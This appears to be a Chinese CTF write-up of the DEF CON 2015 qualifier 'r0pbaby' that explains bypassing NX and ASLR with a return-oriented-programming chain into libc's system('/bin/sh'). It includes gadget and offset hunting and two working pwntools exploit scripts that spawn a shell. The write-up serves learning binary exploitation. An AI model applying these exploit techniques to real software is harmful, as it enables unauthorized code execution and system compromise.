[pwn]ROP:绕过ASLRNX

article/2025/10/13 17:42:57

[详细] ROP:绕过ASLR&NX

这次使用的程序是Defcon - 2015初赛题目,r0pbaby,也是一道经典的pwn题目了。
程序链接:https://pan.baidu.com/s/1kr6z_crZfW7qNjtASmRMGw 提取码:eajs
NX策略是指在栈中的代码不会被执行,ASLR是使共享库的装载位置随机化不可预测。

信息搜集

首先查看是64位还是32位文件:

在这里插入图片描述

然后查看安全策略:

在这里插入图片描述

可见开启了NX和PIE,PIE也就是ASLR。然后在IDA中查看伪代码,无需详细阅读,直接找溢出函数即可:

在这里插入图片描述

然后在linux中运行这个文件,查看究竟是怎么工作的,包括溢出方式等:

在这里插入图片描述

可以看出,功能1是获取libc的地址,功能2是获取一个libc函数的地址,功能3是输入一个字符串,然后会溢出。

寻找溢出位置

在功能三中可以输入字符串并且可能(一定)溢出,那么我们就寻找溢出的点:

在这里插入图片描述

可以看出,20个字符已经造成了溢出,最后确定是在第9个字符位置溢出覆盖了返回地址,也就是我们需要在第9个字符位置构造覆盖的返回值。

利用思路

由于文件开启了NX策略,无法直接在栈上写shellcode,又因为开启了ASLR,无法在静态调试中确定各个函数或者参数(system和"/bin/sh")的地址。但这个文件的前两个功能给了我们可以获取程序在执行中libc装载位置的功能。

所以,我们的具体利用思路是,找到system和/bin/sh的位置,然后利用栈溢出来获取shell,但这个文件是64位文件,参数存储的位置不是在栈中,x86_64下函数的第一个参数会放在rdi中,所以我们将参数写在栈中是没用的,要想办法将参数("/bin/sh")放在rdi寄存器中。而我们通过栈溢出只能直接操作栈中的数据,那么从栈中到寄存器最方便的指令就是pop rdi,又要考虑到调用system函数,最终我们需要找到形如这样的三个连续指令:

pop rdi
pop rax
call rax

现在可以去IDA中寻找了,但在r0pbaby文件中并没有找到system函数:

在这里插入图片描述

但我们发现在程序中打开了libc库:

在这里插入图片描述

system函数在libc之中,我们可以去用IDA调试libc来寻找我们要的东西,libc在linux的/lib/x86_64-linux-gnu/目录下,使用命令:ls -l /lib/x86_64-linux-gnu/libc.so.6可以查看当前版本的libc文件(环境不同会不同,建议导出自己的libc查看自己的地址,我这里的不适用全体),将其导出用IDA打开,然后查找system:

在这里插入图片描述

system的地址是0x44bf0。然后寻找/bin/sh:

在这里插入图片描述

"/bin/sh"的地址是0x181519,然后寻找上诉pop rdi的代码串,使用搜索-文本,搜寻pop rdi,根据结果一个一个的看,知道找出满足的为止:

在这里插入图片描述

在这里插入图片描述

可见,地址为0xf988b的一段代码满足要求,但顺序是先pop rax然后pop rdi需要注意。现在已经找到利用所需的全部代码了,唯一需要解决的就是libc的动态装载地址,但程序运行时第一个功能提供给我们了。接下来我们进行exp的编写,整个栈溢出结构如下:

在这里插入图片描述

编写代码如下:

#!/usr/bin/python
from pwn import *
def getLibcAddr(elf):elf.sendline('1')ret = elf.recv().split(' ')[-18].split('\n')[0]#获取libc的执行时地址ret = long(ret, 16)#转换为long型return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):elf.sendline('3')elf.recv()elf.sendline('32')payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr) #按照上图构造elf.sendline(payload)elf.recv()print 1return
if __name__ == '__main__':elf = process('./r0pbaby')libcAddr = getLibcAddr(elf)rtnAddr = 0xF988B+libcAddr #相对地址为执行时的libc地址加上偏移量binshAddr = 0x181519+libcAddr #相对地址为执行时的libc地址加上偏移量sysAddr = 0x44bf0+libcAddr #相对地址为执行时的libc地址加上偏移量pwn(elf,rtnAddr,binshAddr,sysAddr)elf.interactive() #获取一个shellelf.close()

写完代码后发现无法pwn成功:

在这里插入图片描述

其实只要仔细观察就会发现这之中有问题:

在这里插入图片描述

libc的地址是0x00007FEEAE6E9500,system的地址是0x00007FEEAE567BF0,之前看见system在libc之中的偏移地址是0x44bf0,0x7FEEAE6E9500+0x44bf0=0x7FEEAE72E0F0而不是0x7FEEAE567BF0,说明程序中给的libc和system的地址有一个有误,但并不确定是哪个,所以我们再根据system重新计算的代码写好:

#!/usr/bin/python
from pwn import *
def getSysAddr(elf):elf.sendline('2')elf.recv()elf.sendline('system')ret = elf.recv().split(' ')[-18].split('\n')[0]ret = long(ret, 16)return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):elf.sendline('3')elf.recv()elf.sendline('32')payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr)elf.sendline(payload)elf.recv()print 1return
if __name__ == '__main__':elf = process('./r0pbaby')sysAddr = getSysAddr(elf)sysLibcAddr = 0x44bf0offset=sysAddr-sysLibcAddr #偏移地址rtnAddr=0xF988B+offsetbinshAddr=0x181519+offsetpwn(elf,rtnAddr,binshAddr,sysAddr)elf.interactive()elf.close()

其中关于地址的计算可以看下图:

在这里插入图片描述

执行发现成功pwn:

在这里插入图片描述


http://chatgpt.dhexx.cn/article/kJXRu5sE.shtml

相关文章

ORA-445报错与ASLR

数据库多次出现ORA-00445: background process "J002" did not start after 30 seconds报错及ORA-3136错误 查看相关文档(文档 ID 1600807.1),两个报错都可能与内存压力过大有关 另外关于ORA-00445还有另一篇文档提到,在Oracle启用ASLR会无法…

[二进制学习笔记]Ubuntu20.04关闭开启ASLR

文章目录 Ubuntu20.04关闭开启ASLR Ubuntu20.04关闭开启ASLR ​ ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者…

ASLR和PIE的区别

总结:ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效。

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。 在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到…

Linux ALSA声卡驱动之五:移动设备中的ALSA(ASoC)

1. ASoC的由来 ASoC--ALSA System on Chip ,是建立在标准ALSA驱动层上,为了更好地支持嵌入式处理器和移动设备中的音频Codec的一套软件体系。在ASoc出现之前,内核对于SoC中的音频已经有部分的支持,不过会有一些局限性&#xff1a…

astrill android,Astrill

你想知道你所用的网络速度是多少吗?你想在全球任何地方都可以使用到手机网络吗?你想在需要下载文件时定位到信号最强的地方进行传输吗?小编今天为企业家和用户安利一款手机测速游戏——Astrill APP!用户可以随时随地的查询到自己的…

Linux下 ASLR功能与 -no-pie 选项说明

一. Linux下ASLR功能 1. ASLR 技术介绍 ASLR 技术是一种针对缓冲区溢出的安全保护技术。 ASLR,全称为 Address Space Layout Randomzation,地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统,它将进程…

ASLR和PIE的区别和作用

ASLR和PIE的区别和作用 ASLR的作用 首先ASLR是归属于系统功能的, aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置&…

Linux下关闭ASLR(地址空间随机化)的方法

##0x00 背景知识 ASLR(Address Space Layout Randomization)在2005年被引入到Linux的内核 kernel 2.6.12 中,当然早在2004年就以patch的形式被引入。随着内存地址的随机化,使得响应的应用变得随机。这意味着同一应用多次执行所使用内存空间完全不同&…

ASLR技术

简述 ASLR(Address Space Layout Randmoization,地址空间布局随机化)是一种针对于缓冲区溢出的安全保护技术。 windows 内核版本 OS内核版本windows 20005.0windows XP5.1windows Server 20035.2windows Vista6.0windows Server 20086.0wi…

ASLR

ASLR 一、ASLR是什么?二、测试ASLR技术1.一个简单的源文件2.生成ALSR.exe与ALSR_no.exe3.使用OllDbg调试器查看程序入口地址与栈地址3.1 ASLR.exe3.2 ASLR_no.exe 4.使用CFF Explorer查看PE文件信息4.1 重定位表的区别4.2 IMAGE_FILE_HEADER/Characteristics属性4.3…

[ASLR,地址空间,Linux,随机化,Windows]ASLR 是如何保护 Linux 系统免受缓冲区溢出攻击的

地址空间随机化(ASLR)是一种内存攻击缓解技术,可以用于 Linux 和 Windows 系统。了解一下如何运行它、启用/禁用它,以及它是如何工作的。 -- Sandra Henry-stocker 地址空间随机化(Address Space Layout Randomization)&#xff0…

ALSR

一 ALSR介绍: 1.1定义 aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技…

如何提高强化学习算法模型的泛化能力?

深度强化学习实验室 官网:http://www.neurondance.com/ 来源:https://zhuanlan.zhihu.com/p/328287119 作者:网易伏羲实验室 编辑:DeepRL 在深度学习中,模型很容易过拟合到参与训练的数据集。因此,深度学习…

BatchFormer:有效提升数据稀缺场景的模型泛化能力|CVPR2022

文 | 侯志知乎(已授权)源 | 极市平台 摘要 当前的深度神经网络尽管已经取得了巨大的成功,但仍然面临着来自于数据稀缺的各种挑战,比如数据不平衡,零样本分布,域适应等等。 当前已经有各种方法通过样本之间的…

图解深度学习-提高泛化能力的方法

数据集 在深度学习的训练过程中,神经网络的类型和结构固然重要,但训练样本才是重中之重。 数据增强 当训练样本数量较少时,可以通过数据增强来增加样本的多样性。 数据增强就是通过对样本图像进行平移、旋转、镜像翻转等方式进行变换。除…

JAVASE提高 -- Java泛型

1. 泛型类 &#xff08;1&#xff09;使用语法 类名<具体的数据类型> 对象名 new 类名<具体的数据类型>(); &#xff08;2&#xff09;Java1.7以后&#xff0c;后面的<>中的具体的数据类型可以省略不写 类名<具体的数据类型> 对象名 new 类名<&…

【NLP】如何提高模型泛化能力?以中文NER为例

我们知道模型的泛化能力是很重要的&#xff0c;如果一个模型具有很好的泛化性能&#xff0c;那么它往往能够在没有见过的数据上表现良好。以中文命名实体识别为例&#xff0c;在用于评估模型泛化性能的数据集中&#xff0c;我们可能忽略了数据偏差对模型泛化的影响。 论文标题&…

C#提升(一、泛型)

一、什么是泛型 泛型&#xff0c;即“参数化类型” 我们来看以下代码&#xff0c;目的很明确&#xff0c;就是显示参数类型&#xff0c;这种类似的代码或者说只有参数类型不同&#xff0c;但是功能相同时&#xff0c;我们如何让代码写的更优雅&#xff1f; 在泛型没有出现的…

深度学习提高泛化能力的技术

LeetCode题目记录 1.泛化能力&#xff08;generalization&#xff09; 2.正则化&#xff08;regularization&#xff09;2.1 正则化方法 1.泛化能力&#xff08;generalization&#xff09; 对于模型&#xff0c;我们不仅要求它对训练数据集有很好的拟合&#xff08;训练误差&a…